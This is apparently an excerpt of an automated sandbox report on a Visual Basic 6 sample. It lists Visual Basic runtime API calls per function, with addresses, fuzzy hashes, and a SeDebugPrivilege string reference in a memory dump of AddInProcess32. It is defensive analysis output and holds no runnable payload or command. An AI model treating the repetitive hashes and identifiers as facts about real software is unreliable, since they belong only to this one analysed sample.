__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 7c020b0f20d6a8b4d01058b6d9886427e5cc45ac16c8490aeb7492273ba51688
Instruction ID: b6ea956760585b48cef5c944cb0b6b88b320cc0c6bf33020a7601fb965c6dcd1
Opcode Fuzzy Hash: 7c020b0f20d6a8b4d01058b6d9886427e5cc45ac16c8490aeb7492273ba51688
Instruction Fuzzy Hash: B33172B1A00118DFCB14DFA4ED84DEE7779EF88300F10456AE506E3261DB345986CF68

Function 004174A5 Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 02c7f454d40560d9c6661f647330d47c8efe8f1cef0e828d259a4e05a1306448
Instruction ID: 4ac9cb3760513d78d10cab075c76733cbf34af43b16f8391a80bd0b5696eddcc
Opcode Fuzzy Hash: 02c7f454d40560d9c6661f647330d47c8efe8f1cef0e828d259a4e05a1306448
Instruction Fuzzy Hash: 57316071A00159DFCB14DFA4ED84DEEBB79EF88300F50456AE506A3261DB346986CF98

Function 0041751D Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 94c476b80a82efe6d398e93fd76fd4f9bee1e122c1bd37c77481171981cade68
Instruction ID: 685c137c93b8fd798157623ef34c738d9d6605c7449a0796629f3e9ff1c3c11f
Opcode Fuzzy Hash: 94c476b80a82efe6d398e93fd76fd4f9bee1e122c1bd37c77481171981cade68
Instruction Fuzzy Hash: 383160B1A00158DFCB14DBA4ED84DEEB779FF88300B10456AE506E3261DB345986CFA8

Function 0041753B Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 8bb761deafcd7e2ded91a160ce823c526f59d3b1b33068874666e1dc9ed13cd2
Instruction ID: abceff13d7d3de1d96dc032862a960644500f493d2a40e7a9fa547c81a193ae3
Opcode Fuzzy Hash: 8bb761deafcd7e2ded91a160ce823c526f59d3b1b33068874666e1dc9ed13cd2
Instruction Fuzzy Hash: 463160B1A00118DFCB14DFA4ED94DEEBB79EF88300B10456AE506E3261DB745986CF68

Function 00417139 Relevance: 27.1, APIs: 18, Instructions: 89COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 392004513970ef635da4a611ab646abaa928053d5d8163be545aabfb3d7528fd
Instruction ID: b391c340adbf3e59c3df7a7246d9472bd0b0b55e754b724d87d5f09335da3bbb
Opcode Fuzzy Hash: 392004513970ef635da4a611ab646abaa928053d5d8163be545aabfb3d7528fd
Instruction Fuzzy Hash: 1E310DB5A00118DBDB14DBA4ED84DEE7779EF88300F50856AE506A3261DF34A986CF68

Function 0041F150 Relevance: 27.1, APIs: 18, Instructions: 84COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
#537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
#606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
__vbaStrMove.MSVBVM60 ref: 0041F1D1
__vbaFreeVar.MSVBVM60 ref: 0041F1DA
__vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
__vbaFreeStr.MSVBVM60 ref: 0041F218
#537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
__vbaStrMove.MSVBVM60 ref: 0041F238
__vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
#616.MSVBVM60(?,-00000001), ref: 0041F251
__vbaStrMove.MSVBVM60 ref: 0041F25C
__vbaFreeStr.MSVBVM60 ref: 0041F265
__vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B
__vbaErrorOverflow.MSVBVM60 ref: 0041F2B8

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$ErrorMove$#537$#606#616AnsiChkstkOverflowSystemUnicode
String ID:
API String ID: 1093449089-0
Opcode ID: ee02f3b2826ffa236948fc2c1f65590c4aa55ef8d50380a296c512f1be7178e6
Instruction ID: 0e4e532b7f79ceded0d12069193019f5775f2f1d5aa758d8f51e06bfe5b2f4ca
Opcode Fuzzy Hash: ee02f3b2826ffa236948fc2c1f65590c4aa55ef8d50380a296c512f1be7178e6
Instruction Fuzzy Hash: 20311C75900149EFDB04DFA4DA4CBDEBBB8FF08305F108169E502B62A0DB755A05CB64

Function 0041A2B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,0041A500,?,?,?,00000000,Function_000032B6), ref: 0041A2CE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A2FE
__vbaSetSystemError.MSVBVM60(?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A313
__vbaSetSystemError.MSVBVM60(?,00000028,?,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A32B
__vbaSetSystemError.MSVBVM60(?,00000000,?,0000001C,?,0000001C), ref: 0041A37B
__vbaStrToAnsi.MSVBVM60(?,SeDebugPrivilege,?), ref: 0041A39A
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041A3AB
__vbaFreeStr.MSVBVM60 ref: 0041A3C3
__vbaCopyBytes.MSVBVM60(00000008,?,?), ref: 0041A420
__vbaSetSystemError.MSVBVM60(?), ref: 0041A475

Strings

SeDebugPrivilege, xrefs: 0041A391

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$System$AnsiBytesChkstkCopyFree
String ID: SeDebugPrivilege
API String ID: 1749655604-2896544425
Opcode ID: a09d8b27c4e060d415cd38d35f886b830d8e55dcf0cb0396c666bdd4df63c9ca
Instruction ID: 4de2d3f6ed40af32cba968f736910ab2351f3027917a15dd84bedccea81ef083
Opcode Fuzzy Hash: a09d8b27c4e060d415cd38d35f886b830d8e55dcf0cb0396c666bdd4df63c9ca
Instruction Fuzzy Hash: D0514B70901308DBEB10DFA1DA49BEEBBB8FB04704F20816EE105AB291D7B84A45DF56

Function 00429F50 Relevance: 22.6, APIs: 15, Instructions: 81COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
__vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
__vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$ErrorFree$System$AnsiCopyUnicode$Chkstk
String ID:
API String ID: 3031735744-0
Opcode ID: ec505b9da935685f743cf272e17281aba0119273a56e583c7af6864e293ea477
Instruction ID: 5fd8a786a428ecf44f1591115f944ef2e4a492f21aad71c04980f5145bc2ad87
Opcode Fuzzy Hash: ec505b9da935685f743cf272e17281aba0119273a56e583c7af6864e293ea477
Instruction Fuzzy Hash: B731DBB1900209EFCB04EFE4DE49FDE7BB8BB48705F108259F612B65A0D7745A48CB65

Function 00429E10 Relevance: 22.6, APIs: 15, Instructions: 76COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CBB8,80000002,00000000,00000000), ref: 00429E2E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E5B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E67
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00429E76
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429E8F
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00429E9F
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EAD
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EB6
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429ECB
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429EDB
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EE9
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EF2
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429F08
__vbaFreeStr.MSVBVM60(00429F32,?,?,?,00000000,004032B6), ref: 00429F22
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429F2B

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$ErrorFree$System$AnsiCopyUnicode$Chkstk
String ID:
API String ID: 3031735744-0
Opcode ID: 8dba7990584796c2d513886add396c5f5192d76287c72b2b2e7eaf5777dcc1de
Instruction ID: ef05815d91a7badc13ce189a5e2ee1fd6bd11c379c37ab60153baacb3b4262a3
Opcode Fuzzy Hash: 8dba7990584796c2d513886add396c5f5192d76287c72b2b2e7eaf5777dcc1de
Instruction Fuzzy Hash: 5231CBB5910149EFCB04EFE4DE48EDEBBB8FB48715F108269F502B61A0DB745A44CB64

Function 00415980 Relevance: 21.1, APIs: 14, Instructions: 91COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,0041B687,0042C0E8,?), ref: 0041599E
__vbaOnError.MSVBVM60(000000FF,00000000,6D16D8B1,6D16DF85,?,Function_000032B6), ref: 004159CE
#580.MSVBVM60(?,00000000), ref: 004159E3
#648.MSVBVM60(0000000A), ref: 00415A02
__vbaFreeVar.MSVBVM60 ref: 00415A0F
__vbaFileOpen.MSVBVM60(00000020,000000FF,?), ref: 00415A2B
#570.MSVBVM60(?,?), ref: 00415A42
__vbaPut4.MSVBVM60(00000000,00000000,-00000001), ref: 00415A58
__vbaStrCopy.MSVBVM60 ref: 00415A6D
__vbaPut3.MSVBVM60(00000000,?,?), ref: 00415A7E
__vbaFreeStr.MSVBVM60 ref: 00415A87
__vbaFileClose.MSVBVM60(?), ref: 00415A99
#580.MSVBVM60(?,00000027), ref: 00415AAE
__vbaErrorOverflow.MSVBVM60 ref: 00415AE2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$#580ErrorFileFree$#570#648ChkstkCloseCopyOpenOverflowPut3Put4
String ID:
API String ID: 633625294-0
Opcode ID: c184e6fed43095bbc808ed6dabd80215540fbf370ef609e54faf454b01daf8be
Instruction ID: 077cd5495f4d2610dc4ebb710a7c1806296cb1f910c24ca7336927bb814984b8
Opcode Fuzzy Hash: c184e6fed43095bbc808ed6dabd80215540fbf370ef609e54faf454b01daf8be
Instruction Fuzzy Hash: FE311AB5900208EFEB04DF94DA48BDEBBB8FF48715F108259F501BB6A0D7795A84CB64

Function 00419B10 Relevance: 21.1, APIs: 14, Instructions: 82COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,?,0040DFD2,?,?,?,Function_000032B6), ref: 00419B2E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 00419B5E
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 00419B79
#525.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419B83
__vbaStrMove.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 00419B8E
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419BA9
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00419BC4
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,?,?,?,Function_000032B6), ref: 00419BD6
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00419BE4
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419BED
#519.MSVBVM60(?,?,?,?,?,?,?,Function_000032B6), ref: 00419BFE
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419C09
__vbaFreeStr.MSVBVM60(00419C3D,?,?,?,?,?,?,Function_000032B6), ref: 00419C36
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419C53

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$System$FreeMove$#519#525AnsiChkstkOverflowUnicode
String ID:
API String ID: 3463755217-0
Opcode ID: b493d4c5f5f54a827ca7640190fff222c55f1d558614f84cc34330e3b91e4b31
Instruction ID: 59ab86815b635178f25ac20134c8c30b5a73cca353c440905f8b97c0bcbdadc5
Opcode Fuzzy Hash: b493d4c5f5f54a827ca7640190fff222c55f1d558614f84cc34330e3b91e4b31
Instruction Fuzzy Hash: D331CE75900248EFCB04EFA4DA48BDE7BB4FB48305F108669F501B7260DB799A44CB64

Function 004212F0 Relevance: 19.6, APIs: 13, Instructions: 120COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,-00000001,00000000,6D164F32,00000000,00000FEE), ref: 0042134B
__vbaAryLock.MSVBVM60(?,00000000), ref: 00421365
__vbaGenerateBoundsError.MSVBVM60 ref: 00421386
__vbaGenerateBoundsError.MSVBVM60 ref: 00421395
__vbaAryLock.MSVBVM60(?,?), ref: 004213A2
__vbaGenerateBoundsError.MSVBVM60 ref: 004213BD
__vbaGenerateBoundsError.MSVBVM60 ref: 004213C6
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000000), ref: 004213E9
__vbaAryUnlock.MSVBVM60(?), ref: 004213F9
__vbaAryUnlock.MSVBVM60(?), ref: 004213FF
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00421412
